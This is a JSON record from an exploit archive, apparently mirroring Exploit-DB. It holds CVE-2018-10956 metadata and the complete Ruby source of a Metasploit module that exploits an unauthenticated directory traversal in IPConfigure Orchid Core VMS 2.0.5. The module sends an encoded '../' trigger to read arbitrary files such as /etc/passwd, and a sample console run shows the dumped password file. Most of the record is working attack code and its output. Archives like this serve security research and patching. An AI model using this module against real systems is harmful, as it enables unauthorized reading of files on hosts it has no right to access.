{"exploit":{"id":"EDB-44916","name":"IPConfigure Orchid VMS 2.0.5 - Unauthenticated Directory Traversal / Information Disclosure (Metasploit)","description":"IPConfigure Orchid VMS 2.0.5 - Unauthenticated Directory Traversal / Information Disclosure (Metasploit)","cves":["CVE-2018-10956"],"author":"Nettitude","published":"2018-06-20","platform":"multiple","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44916","path":"exploits/multiple/webapps/44916.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44916.rb","vulnerabilities":[{"id":"CVE-2018-10956","state":"PUBLISHED","title":null,"titleSource":null,"description":"IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-10956","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-10956"},"updatedAt":"2024-08-05T07:54:35.968Z","retrievedAt":"2026-11-27T18:10:58.876Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44916.png?v=2","url":"https://exploitbin.com/exploits/EDB-44916","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44916/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44916/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"require 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'IPConfigure Orchid VMS <=2.0.5 Directory Traversal Information Disclosure',\n\t\t\t'Description'    => %q{\n\t\t\t\tOrchid Core VMS is vulnerable to a directory traversal attack. This affects Linux and Windows operating systems. This allows a remote, unauthenticated attacker to send crafted GET requests to the application, which results in the ability to read arbitrary files outside of the applications web directory. This issue is further compounded as the Linux version of Orchid Core VMS application is running in context of a user in the sudoers group. As such, any file on the underlying system, for which the location is known, can be read.\n\n\t\t\t\tThis module was tested against 2.0.5. This has been fixed in 2.0.6.\n\t\t\t},\n\t\t\t'Author'         => [ 'Sanjiv Kawa @kawabungah' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2018-10956' ],\n\t\t\t\t\t[ 'URL', 'https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/' ],\n\t\t\t\t\t[ 'URL', 'http://ipconfigure.com/products/orchid-archives' ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'May 7, 2018'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('TARGETURI', [true, 'The base path to Orchid VMS', '/']),\n\t\t\t\tOptString.new('FILE', [ true, 'This is the file to download', '/etc/passwd']),\n\t\t\t\tOptString.new('INPUTFILE', [ false, 'Specify a list of files to download']),\n\t\t\t\tOpt::RPORT(80)\n\t\t\t], self.class )\n\tend\n\n\tdef init_request(path)\n\t\tres = send_request_cgi({\n\t\t\t'method'   => 'GET',\n\t\t\t'uri'      => path\n\t\t\t})\n\n\t\treturn res\n\tend\n\n\tdef run\n\t\tpath = normalize_uri(target_uri.path)\n\t\tres = init_request(path)\n\n\t\tif res && res.code == 200\n\t\t\tfile = Array.new\n\t\t\ttrigger = \"%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F\"\n\n\n\t\t\tif datastore['INPUTFILE'].nil? || datastore['INPUTFILE'].empty?\n     \t\t\tfile = [datastore['FILE']]\n    \t\telse\n      \t\t\tfile = File.open([datastore['INPUTFILE']].join(', ').to_s).readlines\n    \t\tend\n\n    \t\tfor i in 0 .. file.length - 1\n\t    \t\tpath = normalize_uri(target_uri.path) + trigger + file[i]\n\t    \t\tres = init_request(path)\n\n\t    \t\tif res.code == 200\n\t    \t\t\tprint_good(\"Obtained #{datastore['FILE']}\")\n\t    \t\t\tputs res.body\n\t    \t\t\tputs \"\"\n\t    \t\telse\n\t    \t\t\tprint_error(\"#{datastore['FILE']} does not exist\")\n\t    \t\t\tputs res.body\n\t    \t\t\tputs \"\"\n\t    \t\tend\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"Web Server is Unresponsive\")\n\t\tend\n\tend\nend\n__END__\nmsf auxiliary(scanner/http/orchid_core_vms_directory_traversal) > show options\n\nModule options (auxiliary/scanner/http/orchid_core_vms_directory_traversal):\n\n   Name       Current Setting  Required  Description\n   ----       ---------------  --------  -----------\n   FILE       /etc/passwd      yes       This is the file to download\n   INPUTFILE                   no        Specify a list of files to downloads\n   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]\n   RHOST      10.100.100.100  yes       The target address\n   RPORT      80               yes       The target port (TCP)\n   SSL        false            no        Negotiate SSL/TLS for outgoing connections\n   TARGETURI  /                yes       The base path to Orchid VMS\n   VHOST                       no        HTTP server virtual host\n\nmsf auxiliary(scanner/http/orchid_core_vms_directory_traversal) > run\n\n[+] Obtained /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false\nsyslog:x:104:108::/home/syslog:/bin/false\n_apt:x:105:65534::/nonexistent:/bin/false\nlxd:x:106:65534::/var/lib/lxd/:/bin/false\nmessagebus:x:107:111::/var/run/dbus:/bin/false\nuuidd:x:108:112::/run/uuidd:/bin/false\ndnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false\nsshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin\npollinate:x:111:1::/var/cache/pollinate:/bin/false\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash","sha256":"17f0b6b44999fa9b7b350deb2fd88cb9a2d4057a7f30dcd0e7d246a91daaf28e","bytes":5191,"fetchedAt":"2026-11-27T18:10:58.656Z","encoding":"utf-8 (display only; download retains original bytes)"}